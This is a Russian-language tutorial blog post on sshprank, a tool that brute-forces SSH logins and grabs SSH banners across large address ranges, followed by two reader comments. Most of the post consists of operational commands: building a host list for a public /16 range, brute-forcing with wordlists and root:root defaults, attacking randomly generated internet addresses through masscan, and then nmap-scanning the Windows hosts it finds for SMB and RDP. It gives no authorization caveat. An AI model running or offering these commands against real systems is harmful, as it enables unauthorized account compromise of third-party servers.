sshprank: массовая проверка учётных данных SSH и быстрый сбор SSH баннеров


Эта статья посвящена инструменту sshprank, который представляет собой быстрый сканер большого количества SSH серверов. Программа ищет компьютеры с запущенными SSH и пробует выполнить вход, используя указанные учётные данные, то есть выполняет брут-форс. Ещё программа умеет очень быстро собирать баннеры большого числа SSH.

Если вы вдруг не знаете, что такое SSH, то смотрите онлайн книгу «Полное руководство по SSH в Linux и Windows». SSH это важнейшая служба для подключения и выполнения команд на удалённых компьютерах под управлением Linux. Но SSH также активно используется на FreeBSD компьютерах и даже иногда на Windows.

Как установить sshprank

Установка sshprank в Kali Linux

sudo apt install python3-pip
git clone https://github.com/noptrix/sshprank
cd sshprank
sudo pip3 install -r docs/requirements.txt
./sshprank.py -H

Установка sshprank в BlackArch

sudo pacman -S sshprank

Установка sshprank в Windows

Начните с установки Python по статье «Как установить Python и PIP на Windows 10».

После установки Python и PIP скачайте архив с исходным кодом sshprank по ссылке: https://github.com/noptrix/sshprank/archive/master.zip

Распакуйте архив.

Откройте командную строку или PowerShell (если не знаете как, то смотрите статью «Настройка рабочего окружения PowerShell в Windows и Linux»).

Перейдите в папку распакованного архива с помощью команды cd (у вас будет другой путь до папки, поэтому отредактируйте команду соответствующим образом):

cd C:\Users\MiAl\Downloads\sshprank-master\

Установите требуемые зависимости:

pip install -r docs\requirements.txt

Выполните проверку (должна вывестись справка по использованию программой):

python .\sshprank.py -H

Далее работа с программой такая же как в Linux, но вместо sshprank нужно указывать python .\sshprank.py, например:

python .\sshprank.py -h 138.201.59.125 -v

Как создать список хостов

Программа sshprank напрямую не поддерживает диапазоны, хотя чуть позже я покажу, как всё-таки можно указывать подсети для сканирования с помощью sshprank. Поэтому для sshprank нужно создать список хостов.

Если вам будут непонятны следующие примеры, то изучите раздел «Раскрытие фигурных скобок».

Итак, я хочу просканировать диапазон 138.201.0.0/16. Для составления списка хостов я выполняю следующую команду:

echo -e 138.201.{0..255}.{0..255}"\n" | sed 's/ //' > hosts.txt

Проверим, что у нас получилось:

head -n 20 hosts.txt

Среди прочих, там будут и такие хосты:

  • 138.201.0.0
  • 138.201.1.0
  • 138.201.2.0
  • 138.201.3.0

Эти адреса являются действительными, объяснение почему так, вы найдёте здесь: «Может ли IP адрес с нулём или 255 на конце быть действительным?».


Как запустить sshprank

В sshprank хосты можно указать следующим опциями:

  -h <ХОСТ:[ПОРТЫ]>     - один порт для взлома. Можно указать несколько портов, в этом
                          случае разделите их запятыми, т.е.: 22,2022,22222 (порт по умолчанию: 22)
 
  -l <ФАЙЛ>             - список хостов для взлома. Формат: <хост>[:порты]. Можно указать несколько портов,
                          в этом случае разделите их запятыми (порт по умолчанию: 22)

То есть если мы хотим указать одиночный хост, то это можно сделать с помощью опции -h:

./sshprank.py -h 138.201.59.125

Также можно указать порты (иначе используется порт по умолчанию для SSH службы 22):

./sshprank.py -h 138.201.59.125:22,2022,22222

По умолчанию программа не выводит никакой информации, даже не показывает взломанные хосты, логины и пароли. Чтобы эта информация выводилась на экран, используйте опцию -v:

./sshprank.py -h 138.201.59.125 -v

Если не указан логин и пароль, то в качестве логина используется «root», и в качестве пароля используется «root».

Как указать файлы логинов и паролей в sshprank

Чтобы указать имя пользователя, пароль или словари с ними используются следующие опции:

  -u <ПОЛЬЗОВАТЕЛЬ>             - единичное имя пользователя (по умолчанию: root)
  -U <ФАЙЛ>             - список имён пользователей
  -p                    - один пароль (по умолчанию: root)
  -P <ФАЙЛ>             - список паролей
  -C <ФАЙЛ>             - список комбинаций ПОЛЬЗОВАТЕЛЬ:ПАРОЛЬ

Вместе с программой поставляются крошечные словари:

  • lists/user.txt — имена пользователей
  • lists/pws.txt — пароли
  • lists/combo.txt — комбинации имён пользователей и паролей

Но словари это совсем крошечные, я бы рекомендовал использовать другие, более подходящие. Примеры вы можете найти в разделе «Списки слов (словари)».

Запустим sshprank в отношении одного хоста для подбора логина и пароля, для брутфорса будут использоваться указанные словари:

sshprank -h 192.168.0.100 -U user.txt -P passwords.txt -v

Результаты sshprank

Если бы мы не использовали опцию -v, то практически ничего не было бы выведено. Опция -v выводит информацию о попытках подключения, успешно подобранных учётных записях, а также о причинах неудачи, например:


  • [!] could not connect: - не удалось подключиться (поскольку служба SSH не запущена, либо хост вообще офлайн).
  • [!] login failure: … (auth timeout) - таймаут аутентификации — самая вероятная причина, это неправильное имя пользователя или пароль.
  • [!] login failure: … (auth failed) — сервер явно сообщил о неудачном входе (неправльное имя пользователя или пароль).
  • [!] login failure: … (pubkey auth) — не удалось аутентифицироваться из-за того, что вход осуществляется по публичному ключу.

Обратите внимание на строку с зелёной звёздочкой:

[*] found login: 192.168.0.100:22:mial:2

То есть найден логин (mial) и пароль (2) для службы на 22 порту на хосте 192.168.0.100.

Все успешно найденные логины и пароли сохраняются в файл owned.txt в текущей рабочей папке. Имя и путь до файла можно изменить опцией -o <ФАЙЛ>.

Как просканировать большое количество SSH

Мы можем указать список хостов с помощью следующей опции:


  -l <ФАЙЛ>             - список хостов для взлома. Формат: <хост>[:порты]. Можно указать несколько портов,
                          в этом случае разделите их запятыми (порт по умолчанию: 22)

Пример запуска:

./sshprank.py -l hosts.txt -U lists/user.txt -P lists/pws.txt -v

Разобраться в выводе sshprank невозможно, если сканируется множество хостов. Чтобы постоянно не проверять вручную файл owned.txt, можно использовать следующие команды:

touch owned.txt
tail -f owned.txt

Первая команда создаст файл, если он ещё не существует. А вторая команда будет немедленно выводить все изменения в этом файле, если они будут иметь место.

Как быстро собрать SSH банеры в большой сети

Для этого используется опция -b:

  -b <ФАЙЛ>             - список хостов для сбора баннеров sshd в
                          формате: <хост>[:порты]. Множественные порты могут быть
                          разделены запятыми (порт по умолчанию: 22)

То есть с этой опцией можно указать список хостов в том же формате, что и у опции -l. Изменится только режим работы — вместо брут-форса будут собираться банеры.

Далее пример запуска, полученные результаты будут сохранены в указанный файл:

./sshprank.py -b hosts.txt > ssh_banners.txt

Мониторить содержимое этого файла можно аналогичным образом:

touch ssh_banners.txt
tail -f ssh_banners.txt

Баннеры можно использовать для различных целей. Например, можно найти все компьютеры на Windows на которых запущена служба SSH:

cat ssh_banners.txt | grep -i windows

На серверах Windows довольно часто открыты порты служб SMB и RDP, с ними можно поиграться.

Чтобы отфильтровать хосты под управлением Windows:

cat ssh_banners.txt | grep -i windows | awk -F ':' '{ print $1 }' > windows_hosts.txt

Сканирование на SMB и NetBIOS:

sudo nmap -iL windows_hosts.txt -p 139,445 --open

Сканирование на открытые порты RDP:


sudo nmap -iL windows_hosts.txt -p 3389 -sU -sS --open

Пример получения информации об RDP и имени компьютера Windows:

sudo nmap -p 3389 -sU -sS --script 'rdp-*' 138.201.134.34

Чтобы найти компьютеры под управлением FreeBSD:

cat ssh_banners.txt | grep -i bsd

По банерам можно искать старые версии дистрибутивов Linux, специфичные версии реализации SSH о которых известно, что они уязвимые, выполнять статистический анализ и прочее.

Опции masscan

sshprank использует модуль Masscan, а также имеет опцию -m которой можно передать опции уже в сам Masscan. Несколько примеров:

Быстрое сканирование, затем взлом найденных служб ssh. Данные для сканирования передаются в masscan (-m '-p22,2022 --rate=5000 --source-ip 192.168.13.37 --range 192.168.13.1/24'):

sudo ./sshprank -m '-p22,2022 --rate=5000 --source-ip 192.168.13.37 --range 192.168.13.1/24'

То есть диапазоны IP адресов для сканирования указываются в masscan опцией --range.

Сгенерировать тысячу случайных IPv4 адресов, затем просканировать порты со скоростью 1k p/s и найденные sshd сервера попытаться взломать учётными данными 'root:root':

sudo ./sshprank -m '-p22 --rate=1000' -r 1000 -v

Можно указать не только эти, а любые опции Masscan. Описание всех опций Masscan: https://kali.tools/?p=976

Все опции sshprank

Все опции sshprank вы найдёте на странице: https://kali.tools/?p=5554

Заключение

sshprank пригодиться когда вашей целью являются SSH сервера разбросанные в большой сети или когда вам нужно очень быстро собрать банеры SSH на больших диапазонах. Например, с диапазона /16 (65536 IP адресов) можно собрать баннеры SSH служб буквально за несколько минут.


Рекомендуется Вам:

2 комментария to sshprank: массовая проверка учётных данных SSH и быстрый сбор SSH баннеров

  1. Иван:

    Это можно провернуть на Windows 10? Если да то как

    • Alexey:

      Да, в Windows тоже работает. В статью добавлен раздел «Установка sshprank в Windows», подробности там.

Добавить комментарий для Иван Отменить ответ

Ваш адрес email не будет опубликован. Обязательные поля помечены *